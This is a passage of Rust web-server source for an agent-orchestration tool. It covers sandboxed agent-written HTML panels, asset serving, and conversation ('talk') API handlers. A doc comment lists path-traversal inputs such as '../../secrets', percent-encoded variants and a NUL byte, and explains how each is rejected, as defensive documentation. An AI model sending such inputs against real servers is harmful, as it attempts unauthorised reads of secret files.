8159            }
8160            drop(reclaimed);
8161        }
8162        #[cfg(test)]
8163        let _ = submitted;
8164        #[cfg(test)]
8165        if let Some((talk, cfg, turn_guard)) = reclaimed {
8166            let talks = ui.talks.clone();
8167            let id = talk.id.clone();
8168            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8169        }
8170        Ok((StatusCode::ACCEPTED, Json(view)))
8171    })
8172    .await
8173}
8174
8175/// Expand an id or short id to exactly one question id.
8176fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8177    if plain_record_id(id) && store.path_of(id).is_file() {
8178        return Ok(id.to_owned());
8179    }
8180    pick(
8181        store.list().into_iter().map(|q| q.id).collect(),
8182        id,
8183        "question",
8184    )
8185}
8186
8187/// `GET /api/questions/{id}/panel`.
8188///
8189/// The panel an agent wrote for this question, as `text/html` under
8190/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8191/// A question without one is a 404 rather than an empty page: the client
8192/// preflights this route with `HEAD` and must be able to tell "no panel" from
8193/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8194/// parent document so it cannot tell the difference by looking.
8195///
8196/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8197/// sanitises or minifies it - a sanitiser is a list of things someone thought
8198/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8199/// is the direction that stays safe when an agent writes markup nobody
8200/// predicted.
8201async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8202    blocking(move || {
8203        let id = resolve_question(&ui.questions, &id)?;
8204        let Some(html) = ui.questions.panel_html(&id) else {
8205            return Err(ApiError::not_found(format!("question {id} has no panel")));
8206        };
8207        Ok(panel_response(
8208            "text/html; charset=utf-8",
8209            false,
8210            html.into_bytes(),
8211        ))
8212    })
8213    .await
8214}
8215
8216/// `GET /api/questions/{id}/asset/{name}`.
8217///
8218/// One file from the question's own panel directory, so a panel can show a
8219/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8220/// having to allow anything off this machine.
8221///
8222/// This is the only route in the server where a client names a file, so it is
8223/// the only one with a traversal surface, and the name is checked by
8224/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8225/// what is worth being explicit about, because the answer is not "all of it in
8226/// one place":
8227///
8228/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8229///   the raw request path and `{name}` spans exactly one segment, so a real
8230///   slash makes the request too long for the route and the router answers 404.
8231/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8232///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8233///   `..\secrets` respectively, which look like plain filenames to the router.
8234///   The validator refuses them here - both for the literal `..` and because
8235///   `/` and `\` are not in the permitted character set - and answers 400.
8236/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8237///   the platform's path API is not, and it is refused here for the same
8238///   reason: NUL is not a permitted character.
8239/// * [`Questions::panel_asset`] validates again on read, so the check is not
8240///   load-bearing in only one place. This route's own check exists so the
8241///   failure is a 400 that says which name was wrong, rather than a store error
8242///   the operator has to interpret.
8243async fn question_asset(
8244    State(ui): State<Arc<Ui>>,
8245    Path((id, name)): Path<(String, String)>,
8246) -> ApiResult<Response> {
8247    // Before any filesystem work and before any path is built: a name this
8248    // server will not serve should not become a `PathBuf` at all.
8249    if !crate::ask::valid_asset_name(&name) {
8250        return Err(ApiError::bad_request(format!(
8251            "`{name}` is not a usable asset name"
8252        )));
8253    }
8254    blocking(move || {
8255        let id = resolve_question(&ui.questions, &id)?;
8256        let asset = ui
8257            .questions
8258            .panel_asset(&id, &name)
8259            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8260        let Some(bytes) = asset else {
8261            return Err(ApiError::not_found(format!(
8262                "question {id} has no asset `{name}`"
8263            )));
8264        };
8265        Ok(panel_response(
8266            asset_content_type(&name),
8267            is_svg(&name),
8268            bytes,
8269        ))
8270    })
8271    .await
8272}
8273
8274/// Content type for a panel asset, from a closed whitelist.
8275///
8276/// A whitelist with an `application/octet-stream` fallback rather than a
8277/// guess, because the one answer that must never come out of here is
8278/// `text/html`. An agent that writes `notes.html` into its panel directory and
8279/// links it would otherwise get its own markup rendered at the top level of the
8280/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8281/// magi's origin - which is precisely the thing the panel design exists to
8282/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8283///
8284/// `nosniff` accompanies this on every response, so a browser cannot decide it
8285/// knows better than the type we sent.
8286fn asset_content_type(name: &str) -> &'static str {
8287    match extension(name).as_deref() {
8288        Some("png") => "image/png",
8289        Some("jpg" | "jpeg") => "image/jpeg",
8290        Some("gif") => "image/gif",
8291        Some("webp") => "image/webp",
8292        Some("svg") => "image/svg+xml",
8293        Some("css") => "text/css; charset=utf-8",
8294        Some("txt") => "text/plain; charset=utf-8",
8295        _ => "application/octet-stream",
8296    }
8297}
8298
8299/// Is this an SVG, and therefore a file that must never be opened at the top
8300/// level?
8301fn is_svg(name: &str) -> bool {
8302    extension(name).as_deref() == Some("svg")
8303}
8304
8305/// Lowercased extension, or `None` for a name without one.
8306fn extension(name: &str) -> Option<String> {
8307    name.rsplit_once('.')
8308        .map(|(_, ext)| ext.to_ascii_lowercase())
8309}
8310
8311/// Every panel response, with the four headers that make it safe and, for an
8312/// SVG, a fifth.
8313///
8314/// One function rather than a header list per handler, because a panel route
8315/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8316/// model gone, silently, on one of two routes. Adding a third panel route later
8317/// means calling this, and there is nowhere else to build a panel response.
8318///
8319/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8320/// as an `<img src>` inside the panel that script cannot run - but the asset
8321/// URL is also a plain URL an operator can be talked into opening in a tab,
8322/// where it is a document on magi's own origin. `Content-Disposition:
8323/// attachment` makes the browser download it instead of rendering it, which
8324/// closes that door without taking away the ability to draw a diff. Raster
8325/// images have no such execution surface and are left inline, so tapping a
8326/// screenshot still shows it.
8327fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8328    let mut res = (
8329        [
8330            (header::CONTENT_TYPE, content_type),
8331            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8332            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8333            (header::REFERRER_POLICY, "no-referrer"),
8334        ],
8335        body,
8336    )
8337        .into_response();
8338    if download {
8339        res.headers_mut().insert(
8340            header::CONTENT_DISPOSITION,
8341            HeaderValue::from_static("attachment"),
8342        );
8343    }
8344    res
8345}
8346
8347/// A talk as the phone reads it.
8348///
8349/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8350/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8351/// parses markdown itself - and the process-local `thinking` hint.
8352#[derive(Debug, Serialize)]
8353struct ChatApproval {
8354    question: String,
8355    target: crate::merge_decision::Target,
8356}
8357
8358#[derive(Debug, Serialize)]
8359struct TalkView {
8360    #[serde(flatten)]
8361    talk: Talk,
8362    turn_bodies_md: Vec<Vec<md::Node>>,
8363    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8364    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8365    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8366    merge_approvals: Vec<ChatApproval>,
8367    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8368    /// this server process.
8369    ///
8370    /// This is deliberately not durable: another server process cannot see
8371    /// it, and a restarted server must not claim an old turn is live. It is a
8372    /// progress hint rather than proof a reply landed; the transcript remains
8373    /// the source of truth for that.
8374    thinking: bool,
8375    /// Context-window usage, derived per request - see
8376    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8377    /// and each mutation) so the phone needs no extra call or polling.
8378    context: talk::ContextUsage,
8379    /// `[talk] operator_name`, when configured; the Chat labels the
8380    /// operator's turns with it.
8381    operator_name: Option<String>,
8382    /// The active persona's display name; `None` for the default voice.
8383    persona_name: Option<String>,
8384    /// URL of the avatar for the conversation's persona (the default voice
8385    /// included). Server-built; a configured `icon` never reaches the client.
8386    persona_avatar: String,
8387    /// Operator avatar; display only and independent of repository config.
8388    operator_avatar: String,
8389    magi_avatar: String,
8390}
8391
8392impl TalkView {
8393    /// Reads the talk's repository config itself; a config that cannot be
8394    /// read leaves the window unknown but never fails the conversation.
8395    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8396        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8397        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8398    }
8399
8400    /// As [`Self::new`], with the config already in hand (the list reads one
8401    /// per repository, not one per conversation).
8402    fn with_config(
8403        talk: Talk,
8404        thinking: bool,
8405        cfg: Option<&Config>,
8406        home: &FsPath,
8407        cache: &id_links::IndexCache,
8408    ) -> Self {
8409        let references = cache.for_talk(home, &talk);
8410        Self::with_references(talk, thinking, cfg, home, &references)
8411    }
8412
8413    fn with_references(
8414        mut talk: Talk,
8415        thinking: bool,
8416        cfg: Option<&Config>,
8417        home: &FsPath,
8418        references: &id_links::IdIndex,
8419    ) -> Self {
8420        // This owned value is the display DTO; never write it back to the talk store.
8421        let snapshot = talk.clone();
8422        for (index, turn) in talk.turns.iter_mut().enumerate() {
8423            let original = &snapshot.turns[index];
8424            if turn.messages.is_empty() {
8425                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8426                    turn.messages.push(talk::Message {
8427                        sender: Some(talk::Sender::Magi),
8428                        body: original.body.clone(),
8429                        display: Some(display),
8430                        attachments: original.attachments.clone(),
8431                        reply: None,
8432                    });
8433                }
8434            } else {
8435                for (i, message) in turn.messages.iter_mut().enumerate() {
8436                    message.display =
8437                        talk::notice_display(&snapshot, original, original.messages.get(i));
8438                    if message.display.is_some() {
8439                        message.sender = Some(talk::Sender::Magi);
8440                    }
8441                }
8442            }
8443        }
8444        for message in &mut talk.pending_messages {
8445            if message.display.is_none()
8446                && (message.sender == Some(talk::Sender::Magi)
8447                    || snapshot
8448                        .completion_notices
8449                        .iter()
8450                        .any(|r| r.notice == message.body))
8451            {
8452                message.display = crate::prompt::legacy_notice_display(&message.body);
8453                if message.display.is_some() {
8454                    message.sender = Some(talk::Sender::Magi);
8455                }
8456            }
8457        }
8458        if talk.pending_messages.is_empty()
8459            && snapshot
8460                .completion_notices
8461                .iter()
8462                .any(|r| r.notice == talk.pending)
8463            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8464        {
8465            talk.pending_messages.push(talk::Message {
8466                sender: Some(talk::Sender::Magi),
8467                display: Some(display),
8468                body: talk.pending.clone(),
8469                attachments: talk.pending_attachments.clone(),
8470                reply: None,
8471            });
8472        }
8473        let excerpts: Vec<Vec<Option<String>>> = talk
8474            .turns
8475            .iter()
8476            .map(|turn| {
8477                turn.messages
8478                    .iter()
8479                    .map(|m| {
8480                        m.display
8481                            .as_ref()
8482                            .map(|d| d.facts.chars().take(240).collect())
8483                    })
8484                    .collect()
8485            })
8486            .collect();
8487        for turn in &mut talk.turns {
8488            let provenance = talk::sender(turn, None);
8489            turn.sender = Some(provenance);
8490            for message in &mut turn.messages {
8491                message.sender = Some(message.sender.unwrap_or(provenance));
8492            }
8493        }
8494        // Old reply snapshots have only a role; recover provenance from their target.
8495        let senders: Vec<Vec<talk::Sender>> = talk
8496            .turns
8497            .iter()
8498            .map(|turn| {
8499                if turn.messages.is_empty() {
8500                    vec![talk::sender(turn, None)]
8501                } else {
8502                    turn.messages
8503                        .iter()
8504                        .map(|m| talk::sender(turn, Some(m)))
8505                        .collect()
8506                }
8507            })
8508            .collect();
8509        for reply in talk
8510            .turns
8511            .iter_mut()
8512            .flat_map(|t| t.messages.iter_mut())
8513            .chain(talk.pending_messages.iter_mut())
8514            .filter_map(|m| m.reply.as_mut())
8515        {
8516            if let Some(Some(excerpt)) = excerpts
8517                .get(reply.target.turn)
8518                .and_then(|ms| ms.get(reply.target.message))
8519            {
8520                reply.excerpt = excerpt.clone();
8521                reply.sender = Some(talk::Sender::Magi);
8522            }
8523            if reply.sender.is_none() {
8524                reply.sender = senders
8525                    .get(reply.target.turn)
8526                    .and_then(|messages| messages.get(reply.target.message))
8527                    .copied();
8528            }
8529        }
8530        let context = talk::context_usage(&talk, cfg);
8531        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8532            .turns
8533            .iter()
8534            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8535            .collect();
8536        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8537            .turns
8538            .iter()
8539            .map(|turn| {
8540                if turn.messages.is_empty() {
8541                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8542                } else {
8543                    turn.messages
8544                        .iter()
8545                        .map(|message| {
8546                            notice_markdown(
8547                                message.sender.unwrap_or(talk::Sender::Operator),
8548                                &message.body,
8549                                message.display.as_ref(),
8550                            )
8551                        })
8552                        .collect()
8553                }
8554            })
8555            .collect();
8556        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8557            .pending_messages
8558            .iter()
8559            .map(|message| {
8560                notice_markdown(
8561                    message.sender.unwrap_or(talk::Sender::Operator),
8562                    &message.body,
8563                    message.display.as_ref(),
8564                )
8565            })
8566            .collect();
8567        for nodes in &mut turn_bodies_md {
8568            references.markdown(nodes);
8569        }
8570        for nodes in turn_messages_md
8571            .iter_mut()
8572            .flatten()
8573            .chain(pending_messages_md.iter_mut())
8574            .flatten()
8575        {
8576            references.markdown(nodes);
8577        }
8578        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8579        let persona_name = persona::find(specs, &talk.persona)
8580            .filter(|p| !p.is_default())
8581            .map(|p| p.name);
8582        let mut avatar_persona = persona::find(specs, &talk.persona)
8583            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8584        // A removed configured persona may still have an override and old talks.
8585        if avatar_persona.id != talk.persona
8586            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8587        {
8588            avatar_persona.id.clone_from(&talk.persona);
8589            avatar_persona.icon = None;
8590        }
8591        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8592        let approvals_store = ask::Questions::at(home.join("questions"));
8593        let merge_approvals = talk
8594            .notified
8595            .iter()
8596            .filter_map(|key| key.strip_prefix("question:"))
8597            .filter_map(|id| approvals_store.get(id).ok())
8598            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8599            .filter_map(|q| {
8600                Some(ChatApproval {
8601                    question: q.id,
8602                    target: q.merge_target?,
8603                })
8604            })
8605            .collect();
8606        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8607        Self {
8608            turn_bodies_md,
8609            turn_messages_md,
8610            pending_messages_md,
8611            merge_approvals,
8612            thinking,
8613            context,
8614            operator_name,
8615            persona_name,
8616            persona_avatar,
8617            magi_avatar: magi_icon_url(home),
8618            operator_avatar: operator_icon_url(home),
8619            talk,
8620        }
8621    }
8622}
8623
8624/// Parse only the user-facing representation of an explicitly identified MAGI send.
8625fn notice_markdown(
8626    sender: talk::Sender,
8627    body: &str,
8628    display: Option<&crate::prompt::NoticeDisplay>,
8629) -> Option<Vec<md::Node>> {
8630    if sender != talk::Sender::Magi {
8631        return None;
8632    }
8633    let text = if let Some(display) = display {
8634        display.facts.as_str()
8635    } else {
8636        // Unknown completion templates may contain internal directives. Never
8637        // promote their agent input to the Markdown display surface.
8638        if crate::prompt::is_completion_notice(body)
8639            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8640        {
8641            return None;
8642        }
8643        body.strip_prefix("magi: ").unwrap_or(body)
8644    };
8645    Some(md::to_nodes(text, &md::ImageBase::None))
8646}
8647
8648/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8649/// conversation has filed, so the phone can follow one from inside the
8650/// conversation that asked for it rather than hunting the Queue for a task id
8651/// it may not remember.
8652#[derive(Debug, Serialize)]
8653struct TalkDetailView {
8654    #[serde(flatten)]
8655    view: TalkView,
8656    tasks: Vec<TaskView>,
8657    task_progress: TalkTaskProgress,
8658    /// The agents this talk's repository can switch to; empty when its
8659    /// configuration cannot be read, which must not fail the whole detail.
8660    roster: Vec<RosterEntry>,
8661    /// The personas the conversation can pick from. The built-ins are always
8662    /// listed, even when the repository's configuration cannot be read.
8663    personas: Vec<PersonaEntry>,
8664}
8665
8666/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8667#[derive(Debug, Serialize)]
8668struct TalkTaskProgress {
8669    state: &'static str,
8670    total: usize,
8671    done: usize,
8672    counts: std::collections::BTreeMap<&'static str, usize>,
8673    unfinished_ids: Vec<String>,
8674}
8675
8676fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8677    let mut counts = std::collections::BTreeMap::from([
8678        ("queued", 0),
8679        ("running", 0),
8680        ("done", 0),
8681        ("failed", 0),
8682        ("held", 0),
8683        ("blocked", 0),
8684        ("parked", 0),
8685    ]);
8686    let mut unfinished_ids = Vec::new();
8687    for task in tasks {
8688        *counts.entry(task.status.as_str()).or_default() += 1;
8689        if task.status != TaskStatus::Done {
8690            unfinished_ids.push(task.id.clone());
8691        }
8692    }
8693    TalkTaskProgress {
8694        state: if tasks.is_empty() {
8695            "none"
8696        } else if unfinished_ids.is_empty() {
8697            "complete"
8698        } else {
8699            "incomplete"
8700        },
8701        total: tasks.len(),
8702        done: tasks.len() - unfinished_ids.len(),
8703        counts,
8704        unfinished_ids,
8705    }
8706}
8707
8708/// One persona as the talk's persona selector shows it.
8709#[derive(Debug, Serialize)]
8710struct PersonaEntry {
8711    id: String,
8712    name: String,
8713    /// Avatar URL, see [`TalkView::persona_avatar`].
8714    avatar: String,
8715}
8716
8717/// One roster agent as the talk's agent selector shows it.
8718#[derive(Debug, Serialize)]
8719struct RosterEntry {
8720    id: String,
8721    kind: AgentKind,
8722    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8723    runnable: bool,
8724}
8725
8726/// Bounded summaries; `/page` carries a cursor for older membership.
8727async fn talks_list(
8728    State(ui): State<Arc<Ui>>,
8729    Query(q): Query<ListQuery>,
8730    headers: header::HeaderMap,
8731) -> ApiResult<Json<Vec<TalkListView>>> {
8732    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8733        let limit = q.limit.unwrap_or(50).min(50);
8734        let ids = if let Some(ids) = q.ids {
8735            ids.split(',')
8736                .filter(|id| plain_record_id(id))
8737                .take(limit)
8738                .map(str::to_owned)
8739                .collect()
8740        } else {
8741            page_ids(&ui, true, PageQuery::default())?
8742                .0
8743                .into_iter()
8744                .take(limit)
8745                .collect()
8746        };
8747        Ok(Json(talk_rows(&ui, ids, &headers)))
8748    })
8749    .await
8750}
8751
8752/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8753/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8754/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8755/// end still opens a talk against an older binary.
8756#[derive(Debug, Default, Deserialize)]
8757#[serde(default)]
8758struct NewTalk {
8759    agent: Option<String>,
8760    repo: Option<PathBuf>,
8761    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8762    /// wrong type is dropped like a stale value instead of failing the request;
8763    /// each falls back to its default on its own (see [`talk::begin_with`]).
8764    preferred_agent: Option<serde_json::Value>,
8765    persona: Option<serde_json::Value>,
8766    implementers: Option<serde_json::Value>,
8767}
8768
8769/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8770/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8771async fn talk_post(
8772    State(ui): State<Arc<Ui>>,
8773    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8774) -> ApiResult<impl IntoResponse> {
8775    // An absent body, or an empty one, is the normal way to open a talk - see
8776    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8777    // rather than refused.
8778    let body = match body {
8779        Ok(Json(body)) => body,
8780        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8781        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8782    };
8783    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8784    let cfg = config_for(&repo).await?;
8785    let view = blocking(move || {
8786        let preferred = talk::Preferred {
8787            agent: body
8788                .preferred_agent
8789                .as_ref()
8790                .and_then(|v| v.as_str())
8791                .map(str::to_owned),
8792            persona: body
8793                .persona
8794                .as_ref()
8795                .and_then(|v| v.as_str())
8796                .map(str::to_owned),
8797            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8798        };
8799        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8800        let thinking = ui.is_thinking(&talk.id);
8801        Ok(TalkView::new(talk, thinking, &ui))
8802    })
8803    .await?;
8804    Ok((StatusCode::CREATED, Json(view)))
8805}
8806
8807/// Transcript first: unrelated queue history and repository probes are deferred.
8808async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8809    blocking(move || {
8810        let id = resolve_talk(&ui.talks, &id)?;
8811        let talk = ui.talks.get(&id)?;
8812        let thinking = ui.is_thinking(&id);
8813        // The browser already resolves Markdown text/code references after
8814        // rendering. A cold reference/review index must not gate the transcript.
8815        Ok(Json(TalkView::with_references(
8816            talk,
8817            thinking,
8818            None,
8819            &ui.home,
8820            &id_links::IdIndex::default(),
8821        )))
8822    })
8823    .await
8824}
8825
8826async fn talk_sections(
8827    State(ui): State<Arc<Ui>>,
8828    Path(id): Path<String>,
8829) -> ApiResult<Json<serde_json::Value>> {
8830    blocking(move || {
8831        let id = resolve_talk(&ui.talks, &id)?;
8832        let talk = ui.talks.get(&id)?;
8833        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8834        let task_progress = talk_task_progress(&tasks);
8835        let tasks: Vec<_> = tasks
8836            .into_iter()
8837            .map(|task| {
8838                serde_json::json!({
8839                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8840                })
8841            })
8842            .collect();
8843        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8844        let roster: Vec<_> = cfg
8845            .as_ref()
8846            .map(|cfg| {
8847                cfg.agents
8848                    .iter()
8849                    .map(|a| RosterEntry {
8850                        id: a.id.clone(),
8851                        kind: a.kind,
8852                        runnable: agent::installed(a),
8853                    })
8854                    .collect()
8855            })
8856            .unwrap_or_default();
8857        let specs = cfg
8858            .as_ref()
8859            .map(|cfg| cfg.talk.personas.clone())
8860            .unwrap_or_default();
8861        let personas: Vec<_> = persona::catalog(&specs)
8862            .into_iter()
8863            .map(|p| PersonaEntry {
8864                avatar: avatar_url(&ui.home, &talk.id, &p),
8865                id: p.id,
8866                name: p.name,
8867            })
8868            .collect();
8869        let active_persona = persona::find(&specs, &talk.persona)
8870            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8871        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8872        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8873        Ok(Json(serde_json::json!({
8874            "tasks": tasks, "task_progress": task_progress,
8875            "roster": roster, "personas": personas,
8876            "context": talk::context_usage(&talk, cfg.as_ref()),
8877            "context_for": talk.updated_at,
8878            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8879            "persona_name": persona_name,
8880            "persona_avatar": persona_avatar,
8881        })))
8882    })
8883    .await
8884}
8885
8886/// `GET /api/talks/{id}`.
8887async fn talk_detail(
8888    State(ui): State<Arc<Ui>>,
8889    Path(id): Path<String>,
8890) -> ApiResult<Json<TalkDetailView>> {
8891    blocking(move || {
8892        let id = resolve_talk(&ui.talks, &id)?;
8893        let talk = ui.talks.get(&id)?;
8894        let thinking = ui.is_thinking(&talk.id);
8895        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8896        let task_progress = talk_task_progress(&tasks);
8897        let tasks = tasks.into_iter().map(TaskView::from).collect();
8898        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8899        let roster = cfg
8900            .as_ref()
8901            .map(|cfg| {
8902                cfg.agents
8903                    .iter()
8904                    .map(|a| RosterEntry {
8905                        id: a.id.clone(),
8906                        kind: a.kind,
8907                        runnable: agent::installed(a),
8908                    })
8909                    .collect()
8910            })
8911            .unwrap_or_default();
8912        let specs = cfg
8913            .as_ref()
8914            .map(|cfg| cfg.talk.personas.clone())
8915            .unwrap_or_default();
8916        let personas = persona::catalog(&specs)
8917            .into_iter()
8918            .map(|p| PersonaEntry {
8919                avatar: avatar_url(&ui.home, &talk.id, &p),
8920                id: p.id,
8921                name: p.name,
8922            })
8923            .collect();
8924        Ok(Json(TalkDetailView {
8925            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8926            tasks,
8927            task_progress,
8928            roster,
8929            personas,
8930        }))
8931    })
8932    .await
8933}
8934
8935/// The body of `POST /api/talks/{id}/say`.
8936///
8937/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8938/// returned - never bytes of its own - so a turn with no images just omits
8939/// the field, which is what an older front end still does.
8940#[derive(Debug, Default, Deserialize)]
8941#[serde(default, deny_unknown_fields)]
8942struct NewTalkTurn {
8943    reply_to: Option<talk::ReplyTarget>,
8944    text: String,
8945    attachments: Vec<String>,
8946}
8947
8948#[derive(Debug, Deserialize)]
8949#[serde(deny_unknown_fields)]
8950struct EditTalkPending {
8951    #[serde(default)]
8952    message: Option<usize>,
8953    text: String,
8954    expected_text: String,
8955    expected_attachments: Vec<String>,
8956}
8957
8958#[derive(Debug, Deserialize)]
8959#[serde(deny_unknown_fields)]
8960struct ClearTalkPending {
8961    expected_text: String,
8962    expected_attachments: Vec<String>,
8963}
8964
8965/// `POST /api/talks/{id}/say` - one turn of the conversation.
8966///
8967/// Not filesystem work, and therefore not routed through [`blocking`]: this
8968/// route spawns an agent CLI and a turn here can run for the whole of
8969/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8970/// research turn is expected to run commands rather than answer from what it
8971/// already knows. Holding an HTTP connection open that long is not a thing
8972/// to ask a phone to do; the operator's message is recorded and answered for
8973/// immediately, and the reply lands in the background, discovered through
8974/// the change stream's `talks_rev` the same way every other update on this
8975/// surface is.
8976async fn talk_say(
8977    State(ui): State<Arc<Ui>>,
8978    Path(id): Path<String>,
8979    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8980) -> ApiResult<(StatusCode, Json<TalkView>)> {
8981    let admission = ui.begin_admission()?;
8982    admitted(admission, async move {
8983    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8984    if body.text.trim().is_empty() && body.attachments.is_empty() {
8985        return Err(ApiError::bad_request("say something"));
8986    }
8987
8988    let id = {
8989        let ui = Arc::clone(&ui);
8990        let asked = id.clone();
8991        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8992    };
8993    // A closed Talk never accepts a new immediate or queued turn. Check this
8994    // before claiming a slot so its ordinary domain refusal is a 409, not an
8995    // incidental failure from the later record/queue write.
8996    {
8997        let ui = Arc::clone(&ui);
8998        let id = id.clone();
8999        blocking(move || {
9000            let talk = ui.talks.get(&id)?;
9001            if !talk.status.open() {
9002                return Err(ApiError::conflict(format!(
9003                    "talk {} is {} and takes no more turns",
9004                    talk.short(),
9005                    talk.status.as_str()
9006                )));
9007            }
9008            Ok(())
9009        })
9010        .await?;
9011    }
9012
9013    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9014    // actually stores, before anything is written - an unknown id is a 4xx
9015    // that names it rather than a turn (or a queued draft) silently missing
9016    // an image.
9017    let attachments = {
9018        let ui = Arc::clone(&ui);
9019        let id = id.clone();
9020        let ids = body.attachments.clone();
9021        blocking(move || {
9022            ids.into_iter()
9023                .map(|att_id| {
9024                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9025                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9026                    })
9027                })
9028                .collect::<ApiResult<Vec<talk::Attachment>>>()
9029        })
9030        .await?
9031    };
9032    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9033        .await.map_err(ApiError::from)?;
9034
9035    // Pending recovery and a new immediate turn are decided under the same
9036    // claim lock. Without that one critical section, a second `/say` can see
9037    // the first request's claim as "busy" and append itself to the recovered
9038    // draft before the first request rejects it.
9039    let start = {
9040        let ui = Arc::clone(&ui);
9041        let id = id.clone();
9042        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9043    };
9044    let turn_guard = match start {
9045        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9046        TalkTurnStart::Pending => {
9047            return Err(ApiError::conflict(
9048                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9049            ));
9050        }
9051        TalkTurnStart::Foreign => {
9052            return Err(ApiError::conflict(
9053                "a turn is already running in another process; try again when it has finished",
9054            ));
9055        }
9056        TalkTurnStart::Busy => {
9057            // A turn is already running: queue rather than refuse. See
9058            // `Ui::begin_talk_turn` and `talk::queue`.
9059            //
9060            // The queue write and the drain it may owe live inside the task
9061            // `tokio::spawn` hands to the runtime, for the same reason the
9062            // immediate path below puts `record` there: a dropped handler
9063            // future must not be able to land between a durable write and
9064            // the task that answers it. `blocking` runs its closure on
9065            // `spawn_blocking`, which finishes whether or not anyone is left
9066            // to receive its result - so a disconnect at the `.await` below
9067            // would otherwise leave the draft persisted and the reclaimed
9068            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9069            // ever started and the queued text stranded until some later
9070            // `say` happened to pick it up. The caller's 202 travels back
9071            // over a `oneshot`, sent the moment the write lands.
9072            let (tx, rx) = tokio::sync::oneshot::channel();
